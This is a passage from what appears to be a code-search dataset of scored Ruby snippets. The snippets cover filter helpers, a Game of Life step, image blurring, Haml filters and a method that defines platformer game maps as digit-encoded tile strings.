"score": "0.43808758",
"text": "def create_instance_variables_for_filters\n\n @master_hash = Hash.new{|hash, key| hash[key] = Hash.new}\n\n @matched_filter_keys = Hash.new{|hash, key| hash[key] = Array.new}# this is declared without being used anywhere because in the view _filters_results.html.erb, .empty? is used to check which needs this variable to be declared. Bad one.\n\n @sub_category_flag = params[:sub_category_id].to_i# Setting the @sub_category_flag which really important and this keeps the whole filtering process informed about the current sub_category_id.\n\n @view_name = params[:view_name]# @view_name is set.\n\n @available_from_final = Hash.new\n\n end",
"title": ""
},
{
"docid": "e310485789ec24793b770e695da254b7",
"score": "0.43726692",
"text": "def analyze filter = nil\n self.prune\n\n self.hashes.each do |hash,nodes|\n identical[hash] = nodes[1..-1].all? { |n| n == nodes.first }\n end\n\n update_masses\n\n sorted = masses.sort_by { |h,m|\n exp = hashes[h].first\n [-m,\n exp.file,\n exp.line,\n exp.sexp_type.to_s]\n }\n\n sorted.map { |hash, mass|\n nodes = hashes[hash]\n\n next unless nodes.first.first == filter if filter\n\n same = identical[hash]\n node = nodes.first\n n = nodes.size\n bonus = \"*#{n}\" if same\n\n locs = nodes.sort_by { |x| [x.file, x.line] }.each_with_index.map { |x, i|\n extra = :fuzzy if x.modified?\n Location[x.file, x.line, extra]\n }\n\n Item[hash, node.sexp_type, bonus, mass, locs]\n }.compact\n end",
"title": ""
},
{
"docid": "1062de4769f8d0189f7e5011c48cb076",
"score": "0.43593907",
"text": "def new\n @game = current_user.games.build\n @filters = Filter.all.map{ |c| [c.name, c.id] }\n end",
"title": ""
},
{
"docid": "035380851e4b0482056fb43c7498e37c",
"score": "0.4333888",
"text": "def transition\n newMap = []\n for x in 0...@map.length do\n for y in 0...@map[x].length do\n if !newMap[x]\n newMap[x] = []\n end\n if !newMap[x][y]\n newMap[x][y] = @map[x][y]\n end\n numAlive = neighbors(x, y).reduce(0) { |a, c| c == 1 ? a + 1 : a }\n if numAlive < 2\n newMap[x][y] = 0 # death by under population\n elsif numAlive > 3\n newMap[x][y] = 0 # death by over population\n elsif @map[x][y] == 0 and numAlive == 3\n newMap[x][y] = 1 # alive by reproduction\n end\n end\n end\n @map = newMap\n end",
"title": ""
},
{
"docid": "c44d16e87b187ac26144635f6cd0a736",
"score": "0.4319405",
"text": "def empty_map\n @game = Game.find( params[:id] )\n \n # if flag random is active load 10 Cities radomly\n if params[:random]\n @cities = @game.cities.random\n \n # else: just get the biggest 10 Cities \n else\n @cities = @game.cities.biggest\n end \n @map = @game.map \n end",
"title": ""
},
{
"docid": "8cb5d81d383f9d234a297b40a2d92336",
"score": "0.4318776",
"text": "def filter_hash!(hsh)\n [[:timestamp, ->(t) { t.to_f }]].each do |k, f|\n hsh[k] = f.call(hsh[k])\n end\n hsh\n end",
"title": ""
},
{
"docid": "2fa9627791fcc8fb87c6ea16e2722ab2",
"score": "0.43174386",
"text": "def filter(filter)\n raise_method_not_available(__method__, 'is nested asset') if nested_asset?\n assets = client.get(asset_type, {}, { query: { filter: filter } })\n assets.map { |data| self.new_from_payload(data) }\n end",
"title": ""
},
{
"docid": "5f36baeeae6217e047f3a7c9df513b83",
"score": "0.43138537",
"text": "def filter_hash(hsh)\n [[:timestamp, ->(t) { Time.at(t) }]].map do |k, f|\n hsh[k] = f.call(hsh[k])\n end\n hsh\n end",
"title": ""
},
{
"docid": "32dabc63699250eed102e6296dfa1801",
"score": "0.43126914",
"text": "def create_world_map\n @world_map = World_Minimap.new(@viewport2)\n open_world_map\n end",
"title": ""
},
{
"docid": "3f2b51d173515b70088fc1ca71096113",
"score": "0.43073115",
"text": "def make_barswipetransitionfilter(sourceImage, targetImage, targetBitmap)\n filterChain = MIFilterChain.new(targetBitmap)\n filterChain.use_srgbprofile = true\n imageSourceID = SmigIDHash.make_imageidentifier(sourceImage)\n imageTargetID = SmigIDHash.make_imageidentifier(targetImage)\n filter = MIFilters::MITransitionFilter.new(:CIBarsSwipeTransition,\n identifier: $barSwipeTransitionFilterID,\n input_time: 0.0,\n input_image_source: imageSourceID,\n input_targetimage_source: imageTargetID)\n\n filterChain.add_filter(filter)\n filterChain\nend",
"title": ""
},
{
"docid": "a65a170186112186d8ea3b04322a6e4e",
"score": "0.43036503",
"text": "def filter\n RuleAspect.from_hash(description['Filter'])\n end",
"title": ""
},
{
"docid": "091088441c0de069d6528890081b4d79",
"score": "0.42986926",
"text": "def create_instance_variables\n\n @master_hash = Hash.new{|hash, key| hash[key] = Hash.new}\n\n @matched_filter_keys = Hash.new{|hash, key| hash[key] = Array.new}# this is declared without being used anywhere because in the view _filters_results.html.erb, .empty? is used to check which needs this variable to be declared. Bad one.\n\n @sub_category_flag = params[:sub_category_id].to_i# Setting the @sub_category_flag which really important and this keeps the whole filtering process informed about the current sub_category_id.\n\n @view_name = params[:view_name]# @view_name is set.\n\n @price_range_final = Hash.new\n\n end",
"title": ""
},
{
"docid": "2819c70b40bee5b5c753daa08358e2cf",
"score": "0.4295229",
"text": "def add_filter(filter)\n filter = filter.filterhash if filter.respond_to? \"filterhash\"\n if @filterChainHash[:cifilterlist].nil?\n @filterChainHash[:cifilterlist] = [ filter ]\n else\n @filterChainHash[:cifilterlist].push(filter)\n end\n return @filterChainHash\n end",
"title": ""
},
{
"docid": "086daaaa37e1f015c08da40493b43cf6",
"score": "0.42905858",
"text": "def filter_params\n if not @params_filtered\n # these values are automatically persisted\n # via the session\n @current_map = select_param :map, :symbol => true\n @current_language = select_param :lang\n @current_scope = select_param :scope\n @current_id = select_param :id\n # update the view state with values that must be communicated down-stream\n properties = PropertySet.new()\n properties[:language] = @current_language\n properties[:scope] = @current_scope\n properties[:map] = @current_map\n properties[:home] = Globals::DEFAULT[:id]\n @view_state[:properties] = properties\n @view_state[:languages] = Globals::LANGUAGES\n @view_state[:scopes] = Globals::SCOPES\n @view_state[:maps] = Globals::MAPS\n @view_state[:notice] = PropertySet.new()\n @view_state[:error] = PropertySet.new()\n @view_state[:success] = PropertySet.new()\n @params_filtered = true\n end\n end",
"title": ""
},
{
"docid": "98257be020412cc2d05e47c39d387019",
"score": "0.42890853",
"text": "def height(hash)\n best_of('height') do |api|\n api.height(hash)\n end\n end",
"title": ""
},
{
"docid": "d2b539e351c76ef1b56863284bf28957",
"score": "0.42847624",
"text": "def filter(x)\n w1=@w\n @w=((x-2*w1)*@k)+w1\n @result[:lowpass]=@w+w1\n @result[:highpass]=x-@result[:lowpass]\n @result\n end",
"title": ""
},
{
"docid": "94a9f0a66a7b6dc1ae0fba01008d6d0d",
"score": "0.42801204",
"text": "def height\n @maps[:background].size\n end",
"title": ""
},
{
"docid": "408bc2274cc8ebf0e217429e689ea2f1",
"score": "0.42763335",
"text": "def new_map(url)\n Map.new(name: \"1866 Fred\",\n year: \"1866\",\n url: url)\n end",
"title": ""
},
{
"docid": "90cde0542081155a1262b2a58907b376",
"score": "0.4260274",
"text": "def filter\n Options.new(yield self)\n end",
"title": ""
},
{
"docid": "8bb7490ec49716a857c17208db78db14",
"score": "0.4259599",
"text": "def close_filtered(filter)\n @flat_spaces = -1\n if filter.is_a? String\n if filter == 'redcloth' || filter == 'markdown' || filter == 'textile'\n raise HamlError.new(\"You must have the RedCloth gem installed to use #{filter}\")\n else\n raise HamlError.new(\"Filter \\\"#{filter}\\\" is not defined!\")\n end\n else\n filtered = filter.new(@filter_buffer).render\n\n unless filter == Haml::Filters::Preserve\n push_text(filtered.rstrip.gsub(\"\\n\", \"\\n#{' ' * @output_tabs}\"))\n else\n push_silent(\"_hamlout.buffer << #{filtered.dump} << \\\"\\\\n\\\"\\n\")\n end\n end\n\n @filter_buffer = nil\n @template_tabs -= 1\n end",
"title": ""
},
{
"docid": "108e3b8536871c26bae02e47298b3fe5",
"score": "0.425852",
"text": "def filters\n @filters ||= FiltersProvider.new\n end",
"title": ""
},
{
"docid": "c3279fefccb19d818a34113ab1591d71",
"score": "0.42551842",
"text": "def squares_by_terrain(terrain_tag)\n @terrain_mapper[terrain_tag] || []\n end",
"title": ""
},
{
"docid": "c22c56f547aa1cd5f820da3641fa7475",
"score": "0.425399",
"text": "def blur(params = {})\n params[:name] ||= @pictureName.gsub('.png', 'Blurred.png')\n params[:save] ||= @picturePath\n \n blurFilter = [\n [1/16.0, 2/16.0, 1/16.0], \n [2/16.0, 4/16.0, 2/16.0], \n [1/16.0, 2/16.0, 1/16.0]\n ]\n \n height, width = @height-2, @width-2\n blur = dup\n \n (1..height).each do |j|\n (1..width).each do |i|\n pixel = calculate_pixel_value_with_filter3(blurFilter, @picture, i, j, false)\n blur[i, j] = ChunkyPNG::Color.rgb(pixel[0].to_i, pixel[1].to_i, pixel[2].to_i)\n end\n end\n \n blur.pictureName, blur.picturePath = params[:name], params[:save]\n blur\n end",
"title": ""
},
{
"docid": "204908c7246b650088714957e6665b19",
"score": "0.42493454",
"text": "def apply_filter\n end",
"title": ""
},
{
"docid": "b89557e13a4a6011b787d4b36682f1c5",
"score": "0.42478326",
"text": "def height(_hash)\n raise Sibit::NotSupportedError, 'Blockchair API doesn\\'t provide height()'\n end",
"title": ""
},
{
"docid": "0d450b54e88d8a4605f074d77c8800d3",
"score": "0.42430073",
"text": "def trial_maps\n [\n Map.new(\n name: 'San Francisco',\n data: 'color_ff7575-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000004000000000000000000000000000000000000000000000000000000000000000_00000000000004004004000000000000000000000000000000000000000000000000000000000000_00000000000000404040000000000000000000000000000000000000000000000000000000000000_00000000000000040400000000000000000000000000000000000000000000000000000000000000_00000110000044404044400000000000000000000000000000000000000000000000000000000000_00011111100000041400000000000000000000000000000000000000000000000000000000000000_00011111100000401040000000000000000000000000000000000000000000000000000000000000_00011000100004001004000000000000000000000000000000000000000000000000000000000000_00011111100000011100000000000000000000000000000000000000000000000000000000000000_00010010100000011100000000000000000000000000000044000000000000000440000000000000_00011111100000011100000000000000000000000000000011000000000000000110000000000000_00011111100000011100000000000000000000000000000011000000000000000110000000000000_00010011100000111110000000000000000000000000001011010000000000010110100000000000_04011111100000111110000000000000000000000000001011010000000000010110100000000000_44411010110000110010001110000000000000000000101011010100000001010110101000000000_14411111111100111110011111000000000000000010101011010100000001010110101010000000_11111111111101111111011101000000000000001010101011010101000101010110101010100000_11111011110111110011111111000000000000101010101011010101010101010110101010101003_11111111111110111111111111110000000010101010101011010101010101010110101010101011_11111111111111111111010011111444111111111111111111111111111111111111111111111111_11111111111111111111111111011110000001110000000011000000000000000110000000001111_11111111441111000111111111111111000001110000000011000000000000000110000000011111_11000111001101111111111144111111110111111110000011000000000000000110000000111111_11020000000000001111000000011111110111111110000011000000000000000110000001111111_11111111111111000000000011000000000111111110000011000000000000000110000001111111_11111111111111111111111111111111111111111110000111100000000000001111000001111111',\n skill_mean: 1,\n ),\n Map.new(\n name: 'The Bunker',\n data: 'color_8a8a5c-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000001000000000000000000000000000000000000000000000000000000000000000000000000_02000011000000100000000000000000000000000000000000000000000000000000000000000001_11111111111000110000000000000000000000000000000000000000000000000000000000101111_11111111111111111101000000000000000000000000000000000000000000000010001111111111_11111111111111111111111000000000000000000000000000100000010001111111111111111111_11111111111111111111111110100000001111011110000001100001111111111111111111111111_11111111111111111111111111111000111550005511111111111111111111111111111111111111_11111111111111111111111111111111111550005511111111111111111111111111111111111111_11111111111111111111111111111111111150005111111111111111111111111111111111111111_11111111111111111111111111111111111150005111111111111111111111111111111111111111_11111111111111111111111111111111111150005111111111111111111111111111111111111111_11111111111111111111111111111111111150005111111111110000000111111111111111111111_11111111111111111101111111111111111150005111111111100000000011111111111111111111_11111111111111111111000000011111111150005111111111000111110001111111111111111111_11111111111111111111000000001111111150005111111110001111111000111111111111111111_11111111111111111111001111000111111150005111111100011111111100011111111111111111_11111111111111111111011111100011101150005110111000111111100110001111111111111111_11111111111111111111001111110001111150005111110001111111100011000001111111111111_11111111111111111111011111111000111150005111100011111111100001100001111111111111_11111111111111111111001111111100001150005110000111111111100000111001111111111111_11111111111111111111011111111110001150005110001111111100000000000001111111111111_11111111111111111111001111111111101150005110111111111000000000000001111111111111_11111110111111111101011111111111101100000110111111110001111111111111111111111111_11111111111111111111001111111101101100000110101111100011011111111111111111111111_11111111100000000000011111111111101100000110111111000111111111111111111111111111_11111111100000004000001111111111101100000110111000001100111111111111111111111111_11111111000000044400011111111111101100000110111000011000111111111111111111111111_10111110000000444444001111111111101000000010111000110000111111111111111111111111_11111100100000444444401111111111100000000000111011100000000011111111111111111111_11000001111111111111111111111111111100000111111000000000000001111111111111111111_11000011111111111111111111111111111100000111111111111111111000111111111111111111_11000011111111111110111111111110111100000111101111111111011100011111111111111111_11000001111111111111111111111111111100000111111111111111111110001111111111111111_11111100100000000011100000000011100000000000111000000001110011000001111111111111_10111110000000000011100000000011100000000000111000000001110001100001111111111111_11111111000000000511100000440011100000000000111000000001110000111001111111111111_11111111100003000551000000444001000000000000010000000000100000000001111111111111_11111111100011105555500004444400000000000000000000000000000000000001111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111_11111111111111111111111111111111111111111111111111111111111111111111111111111111',\n skill_mean: 2,\n ),\n Map.new(\n name: 'Caravel Ships',\n data: 'color_4d94ff-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000400000000000000000000000_00000000000000000000000000000000000000000000000000400000100000000000000000000000_00000000000000000000000000000000000000000000000000100000100000000000000000000000_00000000000000000000000000000000000000000000000000100000100000000040000000000000_00000000000000000000000000000000000000000000000001100001100000000010000000000000_00000000000000000000000000000000000000000000000011100011100000000010000000000000_00000000000000000000000000000000000000000000000110100110100000000110000000000000_00000000000000000000000000000000000000000000001110100110100000001110000000000000_00000000000000000000000000000000000000000000001100101110100000001110000000000000_00000000000000000000000000000000000000000000011100101110100000011010000000000000_00000000000000000000000000000000000000000000011100101110100000011010000000000000_00000000000000000000000000000000000000000000011100101110100000011010000000000000_00000000000100000000000000000000000000000000001100100110100000111010000000000000_00000000001110001000000000000000000000000000001110100110100000111010000000000000_00000010000111011100000000000000000000000000001110100110100000111010000000000000_00000111000111001110000000000000000000000000000110100010100001111010000000000000_00000011000111001110000000000000000000000000000111100011100011111111000000000000_00000011000111001110000000000000000000000000000001100001100000000110000000000000_00000011000110001100000000000000000000000000000001100001100000000010000000000000_00000011000110001100000000000000000000000000000000100000100000000011100000000000_00000010000100001000000000000040000000111114444444144444144444444411100000000000_00001110000100001002000000004444000000000111111001111111111111001111110000000000_00001110000100011111100001111444111000000011100011100011100011100511100000000030_00001111111111111110000001111111110000000011100111140011100411110511100000011111_55551111111111111155555555111111155555555551100004444000004444000011155551111111_55555511111111111555555555555555555555555555111111144411144411111111555511111111_55555555555555555555555555555555555555555555551111111111111111111111555511111111_55555555555555555555555555555555555555555555555555555555555555551155555111111111_55555555555555555555555555555555555555555555555555555555555555555555551111111111',\n skill_mean: 3,\n ),\n Map.new(\n name: 'Tower in the Castle',\n data: 'color_c2e0ff-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00050000000000000000000000000000000000000000000000000000000000000000000000000000_00010000000050000000000000000000000000000000000000000000000000000000000000000000_00010000000010000000000000000000000000000000000000000000000000000000000000000000_00515000000010000000500000000000000000000000000000000000000000000000000000000000_00111000000515000000100000000000000000000000000000000000000000000000000000000000_00111000000111000000100000000000000000000000000000000000000000000000000000000000_05111500000111000005150000000000000000000000000000000000000000000000000000000000_01111100005111500001110000000000000000000000000000000000000000000000000000000000_51111150001111100001110000000000000000000000000000000000000000000000000000000000_11111110051111150051115000000000000000000000000000000000000000000000000000000000_00111000011111110011111000000000000000000000000000000000000000000000000000000000_00111000000111000511111500000000000000000000000000000000000000000000000000000000_00111000000111000111111100000000000000000000000000000000000000000000000000000000_00111000000111000001110000000000000000000000000000000000000000000000000000000000_00111000000111000001110000000000000000000000000000000000000000000000000000000000_00101000000000000000000000000000000000000000000000000000000000000000000000000000_00100011111111000000301000000000000000000000000000000000000000000000000000000000_00100110111111111111111000000000000000000000000000000000000000000000000000000000_00001110111111111111111000000000000000000000000000000000000000000000000000000000_00011010111110000051115000000000000000000000000000000000000000000000000000000000_10001010111100000005150000000000000000000000000000000000000000000000000000000000_11100010111100000000100000000000000000000000000000000000000000000000000000000000_10110010111100000000500000000000000000000000000000000000000000000000000000000000_10011000111100000000000000000000000000000000000000000000000000000000000000000000_10001100111100000000000000000000000000000000000000000000000000000000000000000000_10100001111100000000000000000000000000000000000000000000000000000000000000000000_10100011111100000000000000000000000000000000000000000000000000000000000000000000_10100110111100000000000000000000000000000000000000000000000000000000000000000000_10101110111100000000000000000000000000000000000000000000000000000000000000000000_11100010111100000000000000000000000000000000000000000000000000000000000000000000_11110010111100000000000000000000000000000000000000000000000000000000000000000000_11111000111100000110110110000000001101101100000000000000000000000000000000000000_11111100111100000111111110000000001111111100000000000000000000000000000000000000_10101110111110000111111110000000001111111100000001000010000000000000000000000000_10101000111110000111111110000000001111111100000001000010000000000000000000000000_10100011111100000001111000000000000011110000000011000011000000000000000000000000_10100110111001101101111011011011011011110000000010000001000000000000000000000000_10001100110011111111111111111111111111110000000110000001100000000000000000000000_10011000100111111111111111111111111111110000000100000000100000000000000000000000_10110000001100000401111101111111110111110000001100000000110000000044000004000000_10000000011100000441111101111511110111110000001000000000010000000444000044400000_11110000111100404441111111115551111111110000011000000000011000000440000044000000_10111000111100444441111111115551111111110000010000000000001000000040000004000000_10101100000004444411111111115551111111111100110000000000001100000040000004000020_10101111111111111111111111115551111111111111110000000000001111111111111111111111_11111111111111111111111111111111111111111111110000000000001111111111111111111111_11111111111111111111111111111111111111111111110000000000001111111111111111111111_11111111111111111111111111111111111111111111110000000000001111111111111111111111',\n skill_mean: 5,\n ),\n Map.new(\n name: 'Cat Mountain Climb',\n data: 'color_f1f1fa-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000003000000000000000000000000000000000000000000000000000000000000_00000000000000000011110000000000000000000000000000000000000000000000000000000000_00000000000000000001111000000000000000000000000000000000000000000000000000000000_00000000000000000000111100000000000000000000000000000000000000000000000000000000_00000000000000000000011114400000000000000000000000000000000000000000000000000000_00000000000000000000011111100000040000000000000000000000000000000000000000000000_00000000000000000000001111100000044000000000000000000000000000000000000000000000_00000000000000000000001111100000011000000000000000000000000000000000000000000000_00000000000000000000001111110000111000000000000000000000000000000000000000000000_00000000000000000000001111110001111100000000000000000000000000000000000000000000_00000000000000000000004111111001111100000000000000000000000000000000000000000000_00000000000000000000000111111101111110000000000000000000000000000000000000000000_00000000000000000000000111111101111110000000000000000000000000000000000000000000_00000000000000000000000411111111111111000000000000000000000000000000000000000000_00000000000000000000000011111111111111100000000000000000000000000000000000000000_00000000000000000000000001111111111111111000000000000000000000000000000000000000_00000000000000000000000001111111111111111100000000000000000000000000000000000000_00000000000000000000000001111111111111111110000000000000000000000000000000000000_00000000000000000000000000000000111111111111100000000000000000000000000000000000_00000000000000000000000001111100111111111111111100000000000000000000000000000000_00000000000000000000000001111100000111111111111111000000000000000000000000000000_00000000000000000000000001111110000111111100000111110000000000000000000000000000_00000000000000000000000011111111000111444400000000111000000000000000000000000000_00000000000000000000000011111111100000000000000000011000000000000000000000000000_00000000000000000000000011111111100000000000000000001100000000000000000000000000_00000000000000000000000011111111110000000000000000000110000000000000000000000000_00000000000000000000000011111111111111111111100111100110000000000000000000000000_00000000000000000000000011111111111111111111000011000110000000000000000000000000_00000000000000000000000011111111111111111111000011000111000000000000000000000000_00000000000000000000000011111111111111111111000015000511000000000000000000000000_00000000000000000000000011111111111111111111500511000511000000000000000000000000_00000000000000000000000011111111111111111111555511000511000000000000000000000000_00000000000000000000000111111111111111111111155515000511000000000000000000000000_00000000000000000000000111111111111111111111155115000511000000000000000000000000_00000000000000000000000111111111111111111111155111000511100000000000000000000000_00000000000000000000000111111111111111111111111111100511100000000000000000000000_00000000000000000000000111111111111111111111111111100001100000000000000000000000_00000000000000000000000111111111111111111111111111111001100000000000000000000000_00000000000000000000000111111111111111111100001101111001110000000000000000000000_00000000000000000000000111111111111111111000000000100000110000000000000000000000_00440000000000000000000111111111111111111000000000000000110000000000000000000000_00414000000000000000000111111111111111110000000000000001110000000000000000005000_00411400000000000000001111111111111111110000000000111111110000000000000000005000_00411140000000000000001111111111111111110005511111111111110000000000000005055500_00411110000000000000001111111111111111100011111111111111110000000000000005550500_00411100000000000000011111111111111111100011000001000000010000000000000000555500_00411000000000000000111111111111111111100000000000000000000000000000000055555500_00410000000000000000111111111111111111110000400000000111100000000000000000055550_00410000000000000011111111111111111111110004440004411111110000000000005000050000_00410000000000001111111111111111111111111044444441111111111000000000005500505550_00410000000000011111111111111111111111111444444411111111111100000000055000005000_00410000000000111111111111111111111111111111111111111111111111000000005000005000_00410000001111111111111111111111111111111111111111111111111111111000005000005000_00410200111111111111111111111111111111111111111111111111111111111111111000005000_11111111111111111111111111111111111111111111111111111111111111111111111111111111',\n skill_mean: 7,\n ),\n Map.new(\n name: 'Welcome',\n data: 'color_85e085-00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000444000000000000000000000000000000000000000000_00000000000000000000000000444000000000000000000000000000000000000000000000000000_00000000000000000444000000000000000000000000000000000000000000000000000100010000_00000000444000000000000000000000000000000000000000000055500000000000001100011000_02000000000000000000000000000001100000000000555000000000000000005555511100011155_11111111111111111111111111111111111111111111111111111111111111111111111100011111_11111111111111111111111111111111111111111111111111111111111111111111111100011111_11111111111111111111111111111111111111111111111111111111111111111111111100011111_11111111111111111111111111111111111111111111111111111111111111111111111100011111_55555555555555555555555555555555555555555555555555555555555555555555555500055555_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_01100100011101100101000011101101100000110101011101001001000110101100100001110110_01110110011101110111000011001101110000100111011101001001100111101110110001100010_01010111010101100010000010001101010000110101010101101101110101101110111011100110_00000000000000000000000000000000000000000000000000000000000000000000000000000100_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000100_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00001000100000000000000000000000000000000000000000000000000000000000000000000000_00011000110000000000000000000000000000000000000000000000000000000000000000000000_55111000111555555555555555555555555555555555555555555555555555555555555555555555_11111000111111111111111111111111111111111111111111111111111111111111111111111111_11111000111111111111111111111111111111111111111111111111111111111111111111111111_11111000111111111111111111111111111111111111111111111111111111111111111111111111_11111000111111111111111111111111111111111111111111111111111111111111111111111111_55555000555555555555555555555555555555555555555555555555555555555555555555555555_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_01001010001001101100110010000011101100010110101110101011101100111011101011011010_01111011001001001101111011000001001100010111101100101001001110111001001011011110_00110011101101101101001011100001001100010101101000101101001010101001001011010110_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000000000000_00000000000000000000000000000000000000000000000000000000000000000000000100010000_00000000000000000000000000000000000000000000000000000000000000000000001100011000_55555555555555555555555555555555555555555555555555555555555555555555511100011155_11111111111111111111111111111111111111111111111111111111111111111111111100011111_11111111111111111111111111111111111111111111111111111111111111111111111100011111_11111111111111111111111111111111111111111111111111111111111111111111111103011111_11111111111111111111111111111111111111111111111111111111111111111111111111111111',\n skill_mean: 8,\n ),\n 